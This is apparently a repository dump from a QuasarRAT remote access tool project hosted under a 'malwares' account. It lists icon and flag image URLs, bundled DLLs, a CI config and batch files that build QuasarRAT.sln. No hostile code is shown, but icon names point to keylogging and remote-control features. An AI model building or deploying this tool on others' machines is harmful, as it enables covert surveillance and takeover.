-------------------------------------------------------------------------------- /Server/flags/sl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/sl.png -------------------------------------------------------------------------------- /Server/flags/sm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/sm.png -------------------------------------------------------------------------------- /Server/flags/sn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/sn.png -------------------------------------------------------------------------------- /Server/flags/so.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/so.png -------------------------------------------------------------------------------- /Server/flags/sr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/sr.png -------------------------------------------------------------------------------- /Server/flags/st.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/st.png -------------------------------------------------------------------------------- /Server/flags/sv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/sv.png -------------------------------------------------------------------------------- /Server/flags/sy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/sy.png -------------------------------------------------------------------------------- /Server/flags/sz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/sz.png -------------------------------------------------------------------------------- /Server/flags/tc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/tc.png -------------------------------------------------------------------------------- /Server/flags/td.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/td.png -------------------------------------------------------------------------------- /Server/flags/tf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/tf.png -------------------------------------------------------------------------------- /Server/flags/tg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/tg.png -------------------------------------------------------------------------------- /Server/flags/th.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/th.png -------------------------------------------------------------------------------- /Server/flags/tj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/tj.png -------------------------------------------------------------------------------- /Server/flags/tk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/tk.png -------------------------------------------------------------------------------- /Server/flags/tl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/tl.png -------------------------------------------------------------------------------- /Server/flags/tm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/tm.png -------------------------------------------------------------------------------- /Server/flags/tn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/tn.png -------------------------------------------------------------------------------- /Server/flags/to.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/to.png -------------------------------------------------------------------------------- /Server/flags/tr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/tr.png -------------------------------------------------------------------------------- /Server/flags/tt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/tt.png -------------------------------------------------------------------------------- /Server/flags/tv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/tv.png -------------------------------------------------------------------------------- /Server/flags/tw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/tw.png -------------------------------------------------------------------------------- /Server/flags/tz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/tz.png -------------------------------------------------------------------------------- /Server/flags/ua.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ua.png -------------------------------------------------------------------------------- /Server/flags/ug.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ug.png -------------------------------------------------------------------------------- /Server/flags/um.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/um.png -------------------------------------------------------------------------------- /Server/flags/us.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/us.png -------------------------------------------------------------------------------- /Server/flags/uy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/uy.png -------------------------------------------------------------------------------- /Server/flags/uz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/uz.png -------------------------------------------------------------------------------- /Server/flags/va.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/va.png -------------------------------------------------------------------------------- /Server/flags/vc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/vc.png -------------------------------------------------------------------------------- /Server/flags/ve.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ve.png -------------------------------------------------------------------------------- /Server/flags/vg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/vg.png -------------------------------------------------------------------------------- /Server/flags/vi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/vi.png -------------------------------------------------------------------------------- /Server/flags/vn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/vn.png -------------------------------------------------------------------------------- /Server/flags/vu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/vu.png -------------------------------------------------------------------------------- /Server/flags/wales.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/wales.png -------------------------------------------------------------------------------- /Server/flags/wf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/wf.png -------------------------------------------------------------------------------- /Server/flags/ws.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ws.png -------------------------------------------------------------------------------- /Server/flags/xy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/xy.png -------------------------------------------------------------------------------- /Server/flags/ye.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ye.png -------------------------------------------------------------------------------- /Server/flags/yt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/yt.png -------------------------------------------------------------------------------- /Server/flags/za.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/za.png -------------------------------------------------------------------------------- /Server/flags/zm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/zm.png -------------------------------------------------------------------------------- /Server/flags/zw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/zw.png -------------------------------------------------------------------------------- /Server/icons/Quasar_Server.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/icons/Quasar_Server.png -------------------------------------------------------------------------------- /Server/images/application.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/application.png -------------------------------------------------------------------------------- /Server/images/application_add.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/application_add.png -------------------------------------------------------------------------------- /Server/images/application_delete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/application_delete.png -------------------------------------------------------------------------------- /Server/images/archive.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/archive.png -------------------------------------------------------------------------------- /Server/images/back.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/back.png -------------------------------------------------------------------------------- /Server/images/bricks.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/bricks.png -------------------------------------------------------------------------------- /Server/images/broom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/broom.png -------------------------------------------------------------------------------- /Server/images/cancel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/cancel.png -------------------------------------------------------------------------------- /Server/images/computer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/computer.png -------------------------------------------------------------------------------- /Server/images/copy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/copy.png -------------------------------------------------------------------------------- /Server/images/done.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/done.png -------------------------------------------------------------------------------- /Server/images/download.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/download.png -------------------------------------------------------------------------------- /Server/images/drive_go.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/drive_go.png -------------------------------------------------------------------------------- /Server/images/eye.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/eye.png -------------------------------------------------------------------------------- /Server/images/file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/file.png -------------------------------------------------------------------------------- /Server/images/folder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/folder.png -------------------------------------------------------------------------------- /Server/images/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/image.png -------------------------------------------------------------------------------- /Server/images/information.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/information.png -------------------------------------------------------------------------------- /Server/images/key_go.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/key_go.png -------------------------------------------------------------------------------- /Server/images/keyboard_add.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/keyboard_add.png -------------------------------------------------------------------------------- /Server/images/keyboard_delete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/keyboard_delete.png -------------------------------------------------------------------------------- /Server/images/lightning.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/lightning.png -------------------------------------------------------------------------------- /Server/images/logger.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/logger.png -------------------------------------------------------------------------------- /Server/images/monitor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/monitor.png -------------------------------------------------------------------------------- /Server/images/mouse_add.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/mouse_add.png -------------------------------------------------------------------------------- /Server/images/mouse_delete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/mouse_delete.png -------------------------------------------------------------------------------- /Server/images/movie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/movie.png -------------------------------------------------------------------------------- /Server/images/music.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/music.png -------------------------------------------------------------------------------- /Server/images/pdf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/pdf.png -------------------------------------------------------------------------------- /Server/images/refresh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/refresh.png -------------------------------------------------------------------------------- /Server/images/reg_binary.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/reg_binary.png -------------------------------------------------------------------------------- /Server/images/reg_string.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/reg_string.png -------------------------------------------------------------------------------- /Server/images/registry.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/registry.png -------------------------------------------------------------------------------- /Server/images/run.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/run.png -------------------------------------------------------------------------------- /Server/images/save.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/save.png -------------------------------------------------------------------------------- /Server/images/server-add.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/server-add.png -------------------------------------------------------------------------------- /Server/images/server-disconnect.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/server-disconnect.png -------------------------------------------------------------------------------- /Server/images/server-reconnect.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/server-reconnect.png -------------------------------------------------------------------------------- /Server/images/server-uninstall.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/server-uninstall.png -------------------------------------------------------------------------------- /Server/images/server.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/server.png -------------------------------------------------------------------------------- /Server/images/server_link.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/server_link.png -------------------------------------------------------------------------------- /Server/images/startup_programs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/startup_programs.png -------------------------------------------------------------------------------- /Server/images/task-manager.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/task-manager.png -------------------------------------------------------------------------------- /Server/images/terminal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/terminal.png -------------------------------------------------------------------------------- /Server/images/text.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/text.png -------------------------------------------------------------------------------- /Server/images/uac-shield.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/uac-shield.png -------------------------------------------------------------------------------- /Server/images/upload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/upload.png -------------------------------------------------------------------------------- /Server/images/website.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/website.png -------------------------------------------------------------------------------- /Server/images/word.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/word.png -------------------------------------------------------------------------------- /Server/images/world_go.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/world_go.png -------------------------------------------------------------------------------- /Server/images/world_link.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/images/world_link.png -------------------------------------------------------------------------------- /Server/lib/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/lib/Mono.Cecil.dll -------------------------------------------------------------------------------- /Server/lib/Mono.Nat.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/lib/Mono.Nat.dll -------------------------------------------------------------------------------- /Server/lib/Vestris.ResourceLib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/lib/Vestris.ResourceLib.dll -------------------------------------------------------------------------------- /appveyor.yml: -------------------------------------------------------------------------------- 1 | version: BUILD{build} 2 | skip_tags: true 3 | configuration: 4 | - Debug 5 | - Release 6 | shallow_clone: true 7 | build: 8 | project: QuasarRAT.sln 9 | parallel: true 10 | verbosity: minimal 11 | artifacts: 12 | - path: Bin 13 | name: binaries -------------------------------------------------------------------------------- /build-debug.bat: -------------------------------------------------------------------------------- 1 | "%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "%~dp0\QuasarRAT.sln" /t:Build /p:Configuration=Debug -------------------------------------------------------------------------------- /build-release.bat: -------------------------------------------------------------------------------- 1 | "%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "%~dp0\QuasarRAT.sln" /t:Build /p:Configuration=Release --------------------------------------------------------------------------------